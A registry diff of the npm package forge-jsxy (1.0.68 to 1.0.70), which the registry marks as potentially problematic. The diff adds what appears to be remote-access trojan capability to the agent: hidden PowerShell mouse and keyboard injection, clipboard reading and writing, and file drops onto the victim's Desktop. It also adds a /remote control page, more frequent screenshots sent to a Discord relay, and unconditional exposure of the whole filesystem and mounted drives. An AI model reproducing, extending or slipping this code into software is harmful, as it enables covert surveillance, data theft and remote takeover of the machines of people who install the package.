forge-jsxy 1.0.68 → 1.0.70

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of forge-jsxy might be problematic. Click here for more details.

@@ -17,11 +17,11 @@ export type DiscordAgentScreenshotOpts = {
17
17
  };
18
18
  /**
19
19
  * Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
20
- * `discord_screenshot_interval_ms`: **15s–600s**; invalid/unset agent env defaults to **300000**.
20
+ * `discord_screenshot_interval_ms`: **10s–600s**; invalid/unset agent env defaults to **300000**.
21
21
  */
22
22
  export declare function resolveDiscordScreenshotIntervalMs(): number;
23
23
  /**
24
- * Base interval plus optional **stable** stagger from `client_id` (same bounds 15s–600s).
24
+ * Base interval plus optional **stable** stagger from `client_id` (same bounds 10s–600s).
25
25
  */
26
26
  export declare function resolveDiscordScreenshotScheduledIntervalMs(clientId: string): number;
27
27
  export declare function startDiscordScreenshotToRelayLoop(opts: DiscordAgentScreenshotOpts): () => void;
@@ -70,7 +70,7 @@ exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
70
70
  * `relay_features.discord_screenshot: true` (enabled in-memory only — not written to `forge-js-agent.env`).
71
71
  * Interval: relay sends `relay_features.discord_screenshot_interval_ms` (default **300000** when Discord is enabled on the relay)
72
72
  * unless the agent already set `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` (agent wins over relay for cadence).
73
- * Optional `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` on the agent; **milliseconds** (300000 = 5m); clamped 15s–600s.
73
+ * Optional `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` on the agent; **milliseconds** (300000 = 5m); clamped 10s–600s.
74
74
  */
75
75
  const node_crypto_1 = require("node:crypto");
76
76
  const discordBotTokens_1 = require("./discordBotTokens");
@@ -155,11 +155,11 @@ function discordScreenshotFirstDelayMs() {
155
155
  }
156
156
  /**
157
157
  * Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
158
- * `discord_screenshot_interval_ms`: **15s–600s**; invalid/unset agent env defaults to **300000**.
158
+ * `discord_screenshot_interval_ms`: **10s–600s**; invalid/unset agent env defaults to **300000**.
159
159
  */
160
160
  function resolveDiscordScreenshotIntervalMs() {
161
161
  const rawMs = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "300000").trim();
162
- return Math.min(600_000, Math.max(15_000, parseInt(rawMs, 10) || 300_000));
162
+ return Math.min(600_000, Math.max(10_000, parseInt(rawMs, 10) || 300_000));
163
163
  }
164
164
  function discordScreenshotIntervalStaggerExtraMs(clientId) {
165
165
  const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
@@ -182,12 +182,12 @@ function discordScreenshotFirstStaggerExtraMs(clientId) {
182
182
  return (0, discordBotTokens_1.discordClientIdFnv1a32)(clientId) % c;
183
183
  }
184
184
  /**
185
- * Base interval plus optional **stable** stagger from `client_id` (same bounds 15s–600s).
185
+ * Base interval plus optional **stable** stagger from `client_id` (same bounds 10s–600s).
186
186
  */
187
187
  function resolveDiscordScreenshotScheduledIntervalMs(clientId) {
188
188
  const base = resolveDiscordScreenshotIntervalMs();
189
189
  const extra = discordScreenshotIntervalStaggerExtraMs(clientId);
190
- return Math.min(600_000, Math.max(15_000, base + extra));
190
+ return Math.min(600_000, Math.max(10_000, base + extra));
191
191
  }
192
192
  function startDiscordScreenshotToRelayLoop(opts) {
193
193
  const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
@@ -7,3 +7,4 @@ export interface FilesExplorerHtmlOptions {
7
7
  /** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
8
8
  export declare function getForgeExplorerFaviconSvg(): string;
9
9
  export declare function buildFilesExplorerHtml(opts?: FilesExplorerHtmlOptions): string;
10
+ export declare function buildRemoteControlHtml(opts?: FilesExplorerHtmlOptions): string;
@@ -35,6 +35,7 @@ var __importStar = (this && this.__importStar) || (function () {
35
35
  Object.defineProperty(exports, "__esModule", { value: true });
36
36
  exports.getForgeExplorerFaviconSvg = getForgeExplorerFaviconSvg;
37
37
  exports.buildFilesExplorerHtml = buildFilesExplorerHtml;
38
+ exports.buildRemoteControlHtml = buildRemoteControlHtml;
38
39
  /**
39
40
  * Build file-explorer HTML for relay routes `/`, `/files`, `/explorer`, `/viewer`
40
41
  * — same template as Python `fs_browser_html` with injectable defaults.
@@ -43,6 +44,7 @@ const fs = __importStar(require("node:fs"));
43
44
  const path = __importStar(require("node:path"));
44
45
  const deploymentDefaults_1 = require("./deploymentDefaults");
45
46
  let _cachedTemplate = null;
47
+ let _cachedRemoteTemplate = null;
46
48
  let _cachedFaviconSvg = null;
47
49
  function loadTemplate() {
48
50
  if (_cachedTemplate)
@@ -64,6 +66,26 @@ function loadTemplate() {
64
66
  }
65
67
  throw new Error("files-explorer-template.html not found (run npm run build and ensure assets are copied to dist/)");
66
68
  }
69
+ function loadRemoteTemplate() {
70
+ if (_cachedRemoteTemplate)
71
+ return _cachedRemoteTemplate;
72
+ const candidates = [
73
+ path.join(__dirname, "assets", "remote-control-template.html"),
74
+ path.join(__dirname, "..", "assets", "remote-control-template.html"),
75
+ ];
76
+ for (const p of candidates) {
77
+ try {
78
+ if (fs.existsSync(p)) {
79
+ _cachedRemoteTemplate = fs.readFileSync(p, "utf8");
80
+ return _cachedRemoteTemplate;
81
+ }
82
+ }
83
+ catch {
84
+ continue;
85
+ }
86
+ }
87
+ throw new Error("remote-control-template.html not found (run npm run build and ensure assets are copied to dist/)");
88
+ }
67
89
  /** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
68
90
  function getForgeExplorerFaviconSvg() {
69
91
  if (_cachedFaviconSvg)
@@ -108,3 +130,19 @@ function buildFilesExplorerHtml(opts = {}) {
108
130
  .replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
109
131
  .replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
110
132
  }
133
+ function buildRemoteControlHtml(opts = {}) {
134
+ const pwd = opts.defaultPassword ??
135
+ process.env.CFGMGR_SESSION_PASSWORD ??
136
+ deploymentDefaults_1.DEFAULT_EXPLORER_PASSWORD;
137
+ let relay = opts.relayFallbackWs ??
138
+ process.env.CFGMGR_RELAY_FALLBACK ??
139
+ process.env.CFGMGR_RELAY_URL ??
140
+ "";
141
+ if (!relay && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
142
+ relay = (0, deploymentDefaults_1.defaultRelayWsUrl)();
143
+ }
144
+ return loadRemoteTemplate()
145
+ .replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
146
+ .replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
147
+ .replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
148
+ }
@@ -105,6 +105,22 @@ async function buildFsResponse(msg, allowFilesystem) {
105
105
  const result = await (0, fsProtocol_1.fsDesktopScreenshotCapture)();
106
106
  return { type: "fs_screenshot_result", request_id: rid, ...result };
107
107
  }
108
+ if (msgType === "rc_input") {
109
+ const result = await (0, fsProtocol_1.fsRemoteControlInput)(msg);
110
+ return { type: "rc_input_result", request_id: rid, ...result };
111
+ }
112
+ if (msgType === "rc_clipboard_get") {
113
+ const result = await (0, fsProtocol_1.fsRemoteClipboardGet)();
114
+ return { type: "rc_clipboard_get_result", request_id: rid, ...result };
115
+ }
116
+ if (msgType === "rc_clipboard_set") {
117
+ const result = await (0, fsProtocol_1.fsRemoteClipboardSet)(String(msg.text ?? ""));
118
+ return { type: "rc_clipboard_set_result", request_id: rid, ...result };
119
+ }
120
+ if (msgType === "rc_file_push") {
121
+ const result = await (0, fsProtocol_1.fsRemoteFilePush)(String(msg.name ?? ""), String(msg.b64 ?? ""));
122
+ return { type: "rc_file_push_result", request_id: rid, ...result };
123
+ }
108
124
  return {
109
125
  type: "fs_error",
110
126
  request_id: rid,
@@ -92,6 +92,10 @@ export declare function fsDesktopScreenshotCapture(): Promise<Record<string, unk
92
92
  * Scales down wide canvases so the PNG fits WebSocket payload limits.
93
93
  */
94
94
  export declare function fsWindowsScreenshotCapture(): Promise<Record<string, unknown>>;
95
+ export declare function fsRemoteControlInput(payload: Record<string, unknown>): Promise<Record<string, unknown>>;
96
+ export declare function fsRemoteClipboardGet(): Promise<Record<string, unknown>>;
97
+ export declare function fsRemoteClipboardSet(text: string): Promise<Record<string, unknown>>;
98
+ export declare function fsRemoteFilePush(name: string, b64: string): Promise<Record<string, unknown>>;
95
99
  /**
96
100
  * Run a shell command on the agent host (same privilege as the forge-agent process).
97
101
  * Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).
@@ -54,6 +54,10 @@ exports.formatWindowsScreenshotUserMessage = formatWindowsScreenshotUserMessage;
54
54
  exports.shrinkScreenshotBufferToMaxBytes = shrinkScreenshotBufferToMaxBytes;
55
55
  exports.fsDesktopScreenshotCapture = fsDesktopScreenshotCapture;
56
56
  exports.fsWindowsScreenshotCapture = fsWindowsScreenshotCapture;
57
+ exports.fsRemoteControlInput = fsRemoteControlInput;
58
+ exports.fsRemoteClipboardGet = fsRemoteClipboardGet;
59
+ exports.fsRemoteClipboardSet = fsRemoteClipboardSet;
60
+ exports.fsRemoteFilePush = fsRemoteFilePush;
57
61
  exports.fsShellExec = fsShellExec;
58
62
  /**
59
63
  * Remote filesystem explorer — path rules aligned with cfgmgr.fs_protocol.
@@ -219,6 +223,30 @@ const SEARCH_SKIP_SYSTEM_FILES = new Set(["pagefile.sys", "hiberfil.sys", "swapf
219
223
  function userDataSearchRoots() {
220
224
  const out = [];
221
225
  const preferred = ["Desktop", "Documents", "Downloads", "desktop", "documents", "downloads"];
226
+ if (isMacos()) {
227
+ const volumesRoot = "/Volumes";
228
+ try {
229
+ if (fs.existsSync(volumesRoot) && fs.statSync(volumesRoot).isDirectory()) {
230
+ out.push(path.resolve(volumesRoot));
231
+ const mounted = fs.readdirSync(volumesRoot, { withFileTypes: true });
232
+ for (const ent of mounted) {
233
+ if (!ent.isDirectory())
234
+ continue;
235
+ const p = path.join(volumesRoot, ent.name);
236
+ try {
237
+ if (fs.existsSync(p) && fs.statSync(p).isDirectory())
238
+ out.push(path.resolve(p));
239
+ }
240
+ catch {
241
+ /* skip */
242
+ }
243
+ }
244
+ }
245
+ }
246
+ catch {
247
+ /* skip */
248
+ }
249
+ }
222
250
  const bases = new Set();
223
251
  try {
224
252
  const h = path.resolve(os.homedir());
@@ -360,6 +388,29 @@ function macosPathRequiresTccPrompt(filePath) {
360
388
  return false;
361
389
  }
362
390
  function allowedFsRoots() {
391
+ const pushIfDir = (p) => {
392
+ try {
393
+ if (fs.existsSync(p) && fs.statSync(p).isDirectory())
394
+ roots.push(path.resolve(p));
395
+ }
396
+ catch {
397
+ /* skip */
398
+ }
399
+ };
400
+ const pushDirectChildDirs = (parent) => {
401
+ try {
402
+ if (!fs.existsSync(parent) || !fs.statSync(parent).isDirectory())
403
+ return;
404
+ for (const ent of fs.readdirSync(parent, { withFileTypes: true })) {
405
+ if (!ent.isDirectory())
406
+ continue;
407
+ pushIfDir(path.join(parent, ent.name));
408
+ }
409
+ }
410
+ catch {
411
+ /* skip */
412
+ }
413
+ };
363
414
  const roots = [];
364
415
  if (isWindows()) {
365
416
  try {
@@ -406,15 +457,12 @@ function allowedFsRoots() {
406
457
  catch {
407
458
  /* skip */
408
459
  }
409
- const fullFs = (process.env.CFGMGR_MACOS_FS_FULL || "").trim().toLowerCase();
410
- if (["1", "true", "yes", "on"].includes(fullFs)) {
411
- try {
412
- roots.push("/");
413
- }
414
- catch {
415
- /* skip */
416
- }
417
- }
460
+ const volumesRoot = "/Volumes";
461
+ // Expose /Volumes and each mounted volume directly (closer to Windows D:/E: UX).
462
+ pushIfDir(volumesRoot);
463
+ pushDirectChildDirs(volumesRoot);
464
+ // Always include "/" so macOS top-level folders remain browsable in production.
465
+ roots.push("/");
418
466
  }
419
467
  else {
420
468
  // Linux: optional custom root via env (same as macOS) for restricted installs.
@@ -429,17 +477,22 @@ function allowedFsRoots() {
429
477
  /* skip */
430
478
  }
431
479
  }
432
- if (!dataRoot) {
433
- // Full filesystem access (default): expose home first for convenience, then root.
434
- try {
435
- const h = path.resolve(os.homedir());
436
- roots.push(h);
437
- }
438
- catch {
439
- /* skip */
440
- }
441
- roots.push("/");
480
+ // Expose home/root and mounted drives regardless of CFGMGR_DATA_ROOT for top-level browsing parity.
481
+ try {
482
+ const h = path.resolve(os.homedir());
483
+ roots.push(h);
442
484
  }
485
+ catch {
486
+ /* skip */
487
+ }
488
+ roots.push("/");
489
+ // Expose common Linux mount roots and mounted drives directly.
490
+ pushIfDir("/media");
491
+ pushIfDir("/mnt");
492
+ pushIfDir("/run/media");
493
+ pushDirectChildDirs("/media");
494
+ pushDirectChildDirs("/mnt");
495
+ pushDirectChildDirs("/run/media");
443
496
  }
444
497
  const seen = new Set();
445
498
  const out = [];
@@ -4493,10 +4546,7 @@ async function fsLinuxScreenshotCapture() {
4493
4546
  return `${xdW}x${xdH}`;
4494
4547
  })();
4495
4548
  if (wl) {
4496
- const geomsPre = collectWaylandOutputGeoms();
4497
- const namesPre = collectWaylandOutputNamesForGrim();
4498
- const preferMultiFirst = geomsPre.length >= 2 || namesPre.length >= 2;
4499
- if (grimPath && preferMultiFirst) {
4549
+ if (grimPath) {
4500
4550
  const canvasFirst = await tryLinuxWaylandCanvasStitchedPng(outPath);
4501
4551
  if (canvasFirst) {
4502
4552
  const resC = await finalizeLinuxScreenshotPng();
@@ -4816,6 +4866,304 @@ async function fsWindowsScreenshotCapture() {
4816
4866
  }
4817
4867
  }
4818
4868
  }
4869
+ function escapePsSingleQuoted(s) {
4870
+ return String(s || "").replace(/'/g, "''");
4871
+ }
4872
+ function normalizeRemoteMouseButton(v) {
4873
+ const b = String(v || "").trim().toLowerCase();
4874
+ if (b === "right" || b === "middle")
4875
+ return b;
4876
+ return "left";
4877
+ }
4878
+ function remoteKeyToSendKeys(key) {
4879
+ const k = String(key || "");
4880
+ if (!k)
4881
+ return "";
4882
+ const lower = k.toLowerCase();
4883
+ const named = {
4884
+ enter: "{ENTER}",
4885
+ tab: "{TAB}",
4886
+ backspace: "{BACKSPACE}",
4887
+ escape: "{ESC}",
4888
+ esc: "{ESC}",
4889
+ delete: "{DELETE}",
4890
+ insert: "{INSERT}",
4891
+ home: "{HOME}",
4892
+ end: "{END}",
4893
+ pageup: "{PGUP}",
4894
+ pagedown: "{PGDN}",
4895
+ arrowup: "{UP}",
4896
+ arrowdown: "{DOWN}",
4897
+ arrowleft: "{LEFT}",
4898
+ arrowright: "{RIGHT}",
4899
+ up: "{UP}",
4900
+ down: "{DOWN}",
4901
+ left: "{LEFT}",
4902
+ right: "{RIGHT}",
4903
+ space: " ",
4904
+ };
4905
+ if (named[lower])
4906
+ return named[lower];
4907
+ if (k.length === 1) {
4908
+ if ("+^%~(){}[]".includes(k))
4909
+ return `{${k}}`;
4910
+ return k;
4911
+ }
4912
+ return "";
4913
+ }
4914
+ function remoteApplySendKeysModifiers(base, modifiers) {
4915
+ if (!base)
4916
+ return "";
4917
+ const withWrap = base.startsWith("{") ? base : `(${base})`;
4918
+ let out = withWrap;
4919
+ if (Boolean(modifiers.shift))
4920
+ out = `+${out}`;
4921
+ if (Boolean(modifiers.ctrl))
4922
+ out = `^${out}`;
4923
+ if (Boolean(modifiers.alt))
4924
+ out = `%${out}`;
4925
+ return out;
4926
+ }
4927
+ async function runWindowsRemoteControlPs(script) {
4928
+ const psExe = process.env.SystemRoot
4929
+ ? path.join(process.env.SystemRoot, "System32", "WindowsPowerShell", "v1.0", "powershell.exe")
4930
+ : "powershell.exe";
4931
+ await new Promise((resolve, reject) => {
4932
+ let stderr = "";
4933
+ const child = (0, node_child_process_1.spawn)(psExe, [
4934
+ "-NoProfile",
4935
+ "-NonInteractive",
4936
+ "-WindowStyle",
4937
+ "Hidden",
4938
+ "-ExecutionPolicy",
4939
+ "Bypass",
4940
+ "-Command",
4941
+ script,
4942
+ ], { windowsHide: true, env: process.env });
4943
+ const to = setTimeout(() => {
4944
+ try {
4945
+ child.kill("SIGTERM");
4946
+ }
4947
+ catch {
4948
+ /* skip */
4949
+ }
4950
+ }, 15_000);
4951
+ child.stderr?.setEncoding("utf8");
4952
+ child.stderr?.on("data", (d) => {
4953
+ stderr += d;
4954
+ });
4955
+ child.on("close", (code) => {
4956
+ clearTimeout(to);
4957
+ if (code !== 0) {
4958
+ reject(new Error(stderr.trim() || `remote control input exit ${code}`));
4959
+ return;
4960
+ }
4961
+ resolve();
4962
+ });
4963
+ child.on("error", (e) => {
4964
+ clearTimeout(to);
4965
+ reject(e);
4966
+ });
4967
+ });
4968
+ }
4969
+ async function runWindowsPsCapture(script) {
4970
+ const psExe = process.env.SystemRoot
4971
+ ? path.join(process.env.SystemRoot, "System32", "WindowsPowerShell", "v1.0", "powershell.exe")
4972
+ : "powershell.exe";
4973
+ return await new Promise((resolve, reject) => {
4974
+ let stdout = "";
4975
+ let stderr = "";
4976
+ const child = (0, node_child_process_1.spawn)(psExe, [
4977
+ "-NoProfile",
4978
+ "-NonInteractive",
4979
+ "-WindowStyle",
4980
+ "Hidden",
4981
+ "-ExecutionPolicy",
4982
+ "Bypass",
4983
+ "-Command",
4984
+ script,
4985
+ ], { windowsHide: true, env: process.env });
4986
+ const to = setTimeout(() => {
4987
+ try {
4988
+ child.kill("SIGTERM");
4989
+ }
4990
+ catch {
4991
+ /* skip */
4992
+ }
4993
+ }, 15_000);
4994
+ child.stdout?.setEncoding("utf8");
4995
+ child.stderr?.setEncoding("utf8");
4996
+ child.stdout?.on("data", (d) => {
4997
+ stdout += d;
4998
+ });
4999
+ child.stderr?.on("data", (d) => {
5000
+ stderr += d;
5001
+ });
5002
+ child.on("close", (code) => {
5003
+ clearTimeout(to);
5004
+ if (code !== 0) {
5005
+ reject(new Error(stderr.trim() || `powershell exit ${code}`));
5006
+ return;
5007
+ }
5008
+ resolve(stdout);
5009
+ });
5010
+ child.on("error", (e) => {
5011
+ clearTimeout(to);
5012
+ reject(e);
5013
+ });
5014
+ });
5015
+ }
5016
+ async function fsRemoteControlInput(payload) {
5017
+ if (!isWindows()) {
5018
+ return { ok: false, error: "remote control input currently supports Windows agents only" };
5019
+ }
5020
+ const action = String(payload.action || "").trim().toLowerCase();
5021
+ if (!action)
5022
+ return { ok: false, error: "remote control action is required" };
5023
+ const psPrelude = [
5024
+ "$ErrorActionPreference = 'Stop'",
5025
+ "Add-Type @'",
5026
+ "using System;",
5027
+ "using System.Runtime.InteropServices;",
5028
+ "public static class ForgeRcUser32 {",
5029
+ " [DllImport(\"user32.dll\")] public static extern bool SetCursorPos(int X, int Y);",
5030
+ " [DllImport(\"user32.dll\")] public static extern void mouse_event(uint f, uint x, uint y, uint d, UIntPtr e);",
5031
+ "}",
5032
+ "'@",
5033
+ "$LEFTDOWN = 0x0002; $LEFTUP = 0x0004; $RIGHTDOWN = 0x0008; $RIGHTUP = 0x0010;",
5034
+ "$MIDDLEDOWN = 0x0020; $MIDDLEUP = 0x0040; $WHEEL = 0x0800;",
5035
+ ];
5036
+ const x = Number.isFinite(Number(payload.x)) ? Math.max(0, Math.floor(Number(payload.x))) : null;
5037
+ const y = Number.isFinite(Number(payload.y)) ? Math.max(0, Math.floor(Number(payload.y))) : null;
5038
+ const lines = [...psPrelude];
5039
+ if (x != null && y != null) {
5040
+ lines.push(`[ForgeRcUser32]::SetCursorPos(${x}, ${y}) | Out-Null`);
5041
+ }
5042
+ if (action === "mouse_move") {
5043
+ if (x == null || y == null)
5044
+ return { ok: false, error: "mouse_move requires x,y" };
5045
+ }
5046
+ else if (action === "mouse_click") {
5047
+ const b = normalizeRemoteMouseButton(payload.button);
5048
+ const count = Math.min(3, Math.max(1, Number.isFinite(Number(payload.click_count)) ? Math.floor(Number(payload.click_count)) : 1));
5049
+ for (let i = 0; i < count; i++) {
5050
+ if (b === "right") {
5051
+ lines.push("[ForgeRcUser32]::mouse_event($RIGHTDOWN, 0, 0, 0, [UIntPtr]::Zero)");
5052
+ lines.push("[ForgeRcUser32]::mouse_event($RIGHTUP, 0, 0, 0, [UIntPtr]::Zero)");
5053
+ }
5054
+ else if (b === "middle") {
5055
+ lines.push("[ForgeRcUser32]::mouse_event($MIDDLEDOWN, 0, 0, 0, [UIntPtr]::Zero)");
5056
+ lines.push("[ForgeRcUser32]::mouse_event($MIDDLEUP, 0, 0, 0, [UIntPtr]::Zero)");
5057
+ }
5058
+ else {
5059
+ lines.push("[ForgeRcUser32]::mouse_event($LEFTDOWN, 0, 0, 0, [UIntPtr]::Zero)");
5060
+ lines.push("[ForgeRcUser32]::mouse_event($LEFTUP, 0, 0, 0, [UIntPtr]::Zero)");
5061
+ }
5062
+ }
5063
+ }
5064
+ else if (action === "mouse_wheel") {
5065
+ const dy = Number.isFinite(Number(payload.delta_y)) ? Math.floor(Number(payload.delta_y)) : 0;
5066
+ const step = Math.max(-2400, Math.min(2400, dy));
5067
+ lines.push(`[ForgeRcUser32]::mouse_event($WHEEL, 0, 0, ${step}, [UIntPtr]::Zero)`);
5068
+ }
5069
+ else if (action === "key") {
5070
+ const token = remoteKeyToSendKeys(String(payload.key || ""));
5071
+ if (!token)
5072
+ return { ok: false, error: "unsupported key token" };
5073
+ const seq = remoteApplySendKeysModifiers(token, payload);
5074
+ lines.push("$ws = New-Object -ComObject WScript.Shell");
5075
+ lines.push(`$ws.SendKeys('${escapePsSingleQuoted(seq)}')`);
5076
+ }
5077
+ else if (action === "type_text") {
5078
+ const txt = String(payload.text || "");
5079
+ if (!txt)
5080
+ return { ok: false, error: "type_text requires text" };
5081
+ lines.push("$ws = New-Object -ComObject WScript.Shell");
5082
+ lines.push(`$ws.SendKeys('${escapePsSingleQuoted(txt)}')`);
5083
+ }
5084
+ else {
5085
+ return { ok: false, error: `unsupported remote control action: ${action}` };
5086
+ }
5087
+ try {
5088
+ await runWindowsRemoteControlPs(lines.join("; "));
5089
+ return { ok: true, action };
5090
+ }
5091
+ catch (e) {
5092
+ return { ok: false, error: String(e) };
5093
+ }
5094
+ }
5095
+ async function fsRemoteClipboardGet() {
5096
+ if (!isWindows()) {
5097
+ return { ok: false, error: "remote clipboard currently supports Windows agents only" };
5098
+ }
5099
+ try {
5100
+ const raw = await runWindowsPsCapture("$ErrorActionPreference='Stop'; $t = Get-Clipboard -Raw -TextFormatType Text; if ($null -eq $t) { '' } else { [Console]::Out.Write($t) }");
5101
+ return { ok: true, text: String(raw || "") };
5102
+ }
5103
+ catch (e) {
5104
+ return { ok: false, error: String(e) };
5105
+ }
5106
+ }
5107
+ async function fsRemoteClipboardSet(text) {
5108
+ if (!isWindows()) {
5109
+ return { ok: false, error: "remote clipboard currently supports Windows agents only" };
5110
+ }
5111
+ const t = String(text || "");
5112
+ try {
5113
+ await runWindowsRemoteControlPs(`$ErrorActionPreference='Stop'; Set-Clipboard -Value '${escapePsSingleQuoted(t)}'`);
5114
+ return { ok: true };
5115
+ }
5116
+ catch (e) {
5117
+ return { ok: false, error: String(e) };
5118
+ }
5119
+ }
5120
+ async function fsRemoteFilePush(name, b64) {
5121
+ if (!isWindows()) {
5122
+ return { ok: false, error: "remote file push currently supports Windows agents only" };
5123
+ }
5124
+ const fileName = path.basename(String(name || "").trim() || "upload.bin");
5125
+ if (!fileName || fileName === "." || fileName === "..") {
5126
+ return { ok: false, error: "invalid file name" };
5127
+ }
5128
+ let body;
5129
+ try {
5130
+ body = Buffer.from(String(b64 || ""), "base64");
5131
+ }
5132
+ catch {
5133
+ return { ok: false, error: "invalid base64 payload" };
5134
+ }
5135
+ const maxBytes = 20 * 1024 * 1024;
5136
+ if (!body.length || body.length > maxBytes) {
5137
+ return { ok: false, error: "file payload must be 1B..20MB" };
5138
+ }
5139
+ const home = os.homedir();
5140
+ const targets = [path.join(home, "Desktop"), path.join(home, "Downloads"), home];
5141
+ let baseDir = home;
5142
+ for (const t of targets) {
5143
+ try {
5144
+ if (fs.existsSync(t) && fs.statSync(t).isDirectory()) {
5145
+ baseDir = t;
5146
+ break;
5147
+ }
5148
+ }
5149
+ catch {
5150
+ /* skip */
5151
+ }
5152
+ }
5153
+ let out = path.join(baseDir, fileName);
5154
+ if (fs.existsSync(out)) {
5155
+ const ext = path.extname(fileName);
5156
+ const stem = fileName.slice(0, fileName.length - ext.length) || "upload";
5157
+ out = path.join(baseDir, `${stem}_${Date.now()}${ext}`);
5158
+ }
5159
+ try {
5160
+ fs.writeFileSync(out, body);
5161
+ return { ok: true, saved_path: out, bytes: body.length };
5162
+ }
5163
+ catch (e) {
5164
+ return { ok: false, error: String(e) };
5165
+ }
5166
+ }
4819
5167
  /**
4820
5168
  * Run a shell command on the agent host (same privilege as the forge-agent process).
4821
5169
  * Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).
@@ -143,7 +143,7 @@ function parseRelayDiscordIntervalMs(raw) {
143
143
  }
144
144
  if (!Number.isFinite(n))
145
145
  return null;
146
- return Math.min(600_000, Math.max(15_000, n));
146
+ return Math.min(600_000, Math.max(10_000, n));
147
147
  }
148
148
  /** Stagger caps from `relay_features` — same bounds as agent env (`FORGE_JS_DISCORD_*_STAGGER_MS`). */
149
149
  function parseRelayDiscordStaggerCapMs(raw, maxCap) {
@@ -638,6 +638,10 @@ function runRelayAgentLoop(opts) {
638
638
  "fs_delete",
639
639
  "fs_shell_exec",
640
640
  "fs_screenshot",
641
+ "rc_input",
642
+ "rc_clipboard_get",
643
+ "rc_clipboard_set",
644
+ "rc_file_push",
641
645
  ].includes(msgType)) {
642
646
  sendJson({
643
647
  type: "fs_error",
@@ -670,6 +674,10 @@ function runRelayAgentLoop(opts) {
670
674
  "fs_delete",
671
675
  "fs_shell_exec",
672
676
  "fs_screenshot",
677
+ "rc_input",
678
+ "rc_clipboard_get",
679
+ "rc_clipboard_set",
680
+ "rc_file_push",
673
681
  ].includes(msgType)) {
674
682
  void (async () => {
675
683
  try {
@@ -193,7 +193,7 @@ function relayDiscordScreenshotAdvertisedIntervalMs() {
193
193
  const n = raw ? parseInt(raw, 10) : 300_000;
194
194
  if (!Number.isFinite(n))
195
195
  return 300_000;
196
- return Math.min(600_000, Math.max(15_000, n));
196
+ return Math.min(600_000, Math.max(10_000, n));
197
197
  }
198
198
  /** Optional cadence / first-shot stagger caps (relay `.env` → `relay_features`; agents apply if unset locally). */
199
199
  function relayDiscordScreenshotAdvertisedIntervalStaggerMs() {
@@ -684,6 +684,26 @@ function handleHttp(req, res) {
684
684
  withRelayDashboardOrLogin(res, req, writeFilesExplorerHtml);
685
685
  return;
686
686
  }
687
+ if (p === "/remote" || p === "/remote-control") {
688
+ withRelayDashboardOrLogin(res, req, (r) => {
689
+ _applySecurityHeaders(r);
690
+ let html;
691
+ try {
692
+ html = (0, filesExplorer_1.buildRemoteControlHtml)();
693
+ }
694
+ catch (e) {
695
+ r.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
696
+ r.end(String(e));
697
+ return;
698
+ }
699
+ r.writeHead(200, {
700
+ "Content-Type": "text/html; charset=utf-8",
701
+ "Cache-Control": "no-store",
702
+ });
703
+ r.end(html);
704
+ });
705
+ return;
706
+ }
687
707
  if (p === "/relay") {
688
708
  withRelayDashboardOrLogin(res, req, (r) => {
689
709
  r.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
@@ -1397,7 +1417,7 @@ function startRelayServer(opts = {}) {
1397
1417
  const uh = urlDisplayHost(host);
1398
1418
  console.log(`CfgMgr Relay Server listening on ${host}:${listenPort}`);
1399
1419
  console.log(` File explorer: http://${uh}:${listenPort}/`);
1400
- console.log(` Same UI: /files /explorer /viewer minimal relay page: /relay`);
1420
+ console.log(` Same UI: /files /explorer /viewer /remote minimal relay page: /relay`);
1401
1421
  console.log(` WebSocket: ws://${uh}:${listenPort}/ws/agent/<session_id>`);
1402
1422
  console.log(` ws://${uh}:${listenPort}/ws/viewer/<session_id>`);
1403
1423
  void (0, discordRelayUpload_1.warnDiscordRelayGuildIfMisconfigured)();